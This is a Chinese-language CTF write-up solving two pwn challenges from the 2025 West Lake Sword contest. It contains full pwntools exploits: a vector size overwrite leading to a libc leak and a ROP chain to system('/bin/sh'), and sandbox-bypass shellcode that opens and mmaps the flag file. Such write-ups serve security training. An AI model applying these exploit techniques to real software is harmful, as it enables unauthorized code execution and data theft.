复现网址西湖论剑2025
Vpwn 保护全开
main 函数,有 edit、push、pop 和 print 操作,操作对象是 v8,v8 实际上是 c++中的 vector,其类型是 char 类型
在 edit 函数可以看到有 idx 的检查,而在*(v8+24)处正是 vector 的 size,由于 vector 的大小是 char,则 vector 的每个元素占 4 字节,因此 vector 总共存储了 24 / 4 = 6 个元素,第 7 个位置就是 size。
在 push 函数中没有任何检查,因此当我们在 push 第 7 个元素时就会修改 size
交互函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def edit (idx, content ): p.recvuntil("Enter your choice: " ) p.sendline(str (1 )) p.recvuntil("Enter the index to edit (0-based): " ) p.sendline(str (idx)) p.recvuntil("Enter the new value: " ) p.sendline(content)def push (content ): p.recvuntil("Enter your choice: " ) p.sendline(str (2 )) p.recvuntil("Enter the value to push: " ) p.sendline(str (content))def pop (): p.recvuntil("Enter your choice: " ) p.sendline(str (3 ))def print (): p.recvuntil("Enter your choice: " ) p.sendline(str (4 ))
现在我们修改 size
1 2 3 4 5 6 7 def debug (): attach(p, 'b *$rebase(0x1455)' ) pause() debug()for i in range (7 ): push(50 )
在 rbp-0x28 的位置,前 6 次 push 是 1~6,第 7 次 push 时变成了 0x32 即 50,这样我们就将 size 修改成了 50
此时我们进行 print 操作,就会将栈上的值打印出来,由于这里的输入是以四字节为单位,所以分成了高地址和地址
泄露出 libc 地址
1 2 3 4 5 6 7 8 9 debug()print () p.recvuntil(b'StackVector contents: ' )for i in range (18 ): p.recvuntil(' ' ) low = int (p.recvuntil(b' ' )) high = int (p.recvuntil(b' ' )) success('low:{}\nlow:{}' .format (hex (low), low)) success('high:{}\nhigh:{}' .format (hex (high), high))
最后布置 rop,这里需要先写低地址再写高地址,而且是从 18 的位置开始写入 gadget,18 的位置是返回地址
1 2 3 4 5 6 7 8 9 debug() edit(18 , str (ret & 0xffffffff )) edit(19 , str ((ret >> 32 ) & 0xffffffff )) edit(20 , str (pop_rdi & 0xffffffff )) edit(21 , str ((pop_rdi >> 32 ) & 0xffffffff )) edit(22 , str (binsh & 0xffffffff )) edit(23 , str ((binsh >> 32 ) & 0xffffffff )) edit(24 , str (system & 0xffffffff )) edit(25 , str ((system >> 32 ) & 0xffffffff ))
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = process('./pwn' ) libc = ELF('./libc.so.6' )def debug (): attach(p, 'b *$rebase(0x1455)' ) pause()def edit (idx, content ): p.recvuntil("Enter your choice: " ) p.sendline(str (1 )) p.recvuntil("Enter the index to edit (0-based): " ) p.sendline(str (idx)) p.recvuntil("Enter the new value: " ) p.sendline(content)def push (content ): p.recvuntil("Enter your choice: " ) p.sendline(str (2 )) p.recvuntil("Enter the value to push: " ) p.sendline(str (content))def pop (): p.recvuntil("Enter your choice: " ) p.sendline(str (3 ))def print (): p.recvuntil("Enter your choice: " ) p.sendline(str (4 ))for i in range (7 ): push(50 )print () p.recvuntil(b'StackVector contents: ' )for i in range (18 ): p.recvuntil(' ' ) low = int (p.recvuntil(b' ' )) high = int (p.recvuntil(b' ' )) success('low:{}\nlow:{}' .format (hex (low), low)) success('high:{}\nhigh:{}' .format (hex (high), high)) libc_base = (high << 32 ) + low - 0x29d90 success('libc_base:{}' .format (hex (libc_base))) system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search(b'/bin/sh\x00' )) pop_rdi = libc_base + 0x2a3e5 ret = libc_base + 0x29139 edit(18 , str (ret & 0xffffffff )) edit(19 , str ((ret >> 32 ) & 0xffffffff )) edit(20 , str (pop_rdi & 0xffffffff )) edit(21 , str ((pop_rdi >> 32 ) & 0xffffffff )) edit(22 , str (binsh & 0xffffffff )) edit(23 , str ((binsh >> 32 ) & 0xffffffff )) edit(24 , str (system & 0xffffffff )) edit(25 , str ((system >> 32 ) & 0xffffffff )) p.recvuntil("Enter your choice: " ) p.sendline(str (5 )) p.interactive()
Heaven’s door main 函数调用 mmap 函数,然后读入,可以写 shellcode,后面有一个 sanbox 函数,if 判断count_syscall_instructions 函数的值是否大于 2
count_syscall_instructions 函数,用一个循环来计算 \x0F 和 \x05 的次数,而这两个实际上是 syscall 的机器码,这个函数的目的就是限制 syscall 的使用次数,我们最多只能使用两次 syscall
查看一下沙箱,这是一个白名单,有 open、write 这些函数,但是没有 read 函数
一般上开启了沙箱之后可以使用 open、read 和 write 函数获取 flag,但是沙箱白名单中并没有 read 函数,而且 syscall 只能使用两次。
对于缺失 read 函数,可以使用 mmap 函数将文件映射到内存中
1 2 3 #include <sys/mman.h> void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset) ;
参数详解
void *addr
:
指定映射区域的起始地址。通常设置为 NULL
,表示由系统自动选择合适的地址。
size_t length
:
映射区域的长度,以字节为单位。通常设置为文件的大小。
int prot
:
指定映射区域的保护模式,可以是以下值的组合:
PROT_READ
: 映射区域可读。
PROT_WRITE
: 映射区域可写。
PROT_EXEC
: 映射区域可执行。
PROT_NONE
: 映射区域不可访问。
int flags
:
控制映射区域的特性,可以是以下值的组合:
MAP_SHARED
: 映射区域与其他进程共享,对映射区域的修改会写回文件。
MAP_PRIVATE
: 映射区域是私有的,对映射区域的修改不会写回文件。
MAP_ANONYMOUS
: 创建一个匿名映射,不与任何文件关联。
MAP_FIXED
: 强制使用指定的 addr
作为映射区域的起始地址。
int fd
:
文件描述符,表示要映射的文件。如果是匿名映射(MAP_ANONYMOUS
),则设置为 -1
。
off_t offset
:
文件中的偏移量,表示从文件的哪个位置开始映射。通常设置为 0
,表示从文件开头开始映射。
返回值
成功时,返回映射区域的起始地址。
失败时,返回 MAP_FAILED
(通常是 (void *) -1
),并设置 errno
以指示错误。
对于 syscall 限制,可以在使用 open 和 mmap 之后使用程序内的 printf 函数来打印 flag
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = process("./pwn" )def debug (): attach(p, 'b *0x401709' ) pause() p.recvuntil('MADE IN HEAVEN !!!!!!!!!!!!!!!!' ) shellcode = asm(''' mov rbx, 0x67616c66 push rbx mov rdi, rsp xor rsi, rsi mov rax, 2 syscall mov rdi, 0x20000 mov rsi, 0x1000 mov rdx, 1 mov r10, 1 mov r8, rax mov r9, 0 mov rax, 9 syscall mov rdi,rax mov rdx,0x401150 call rdx ''' ) p.sendline(shellcode) p.interactive()
最后,虽然给的是沙箱白名单,而且白名单里面没有 execve 函数,但是居然可以用 execve 来一把梭,这非预期太离谱了。
参考
2025第八届西湖论剑网络安全技能大赛WriteUp—Pwn篇
2025 西湖论剑 | iyheart 的博客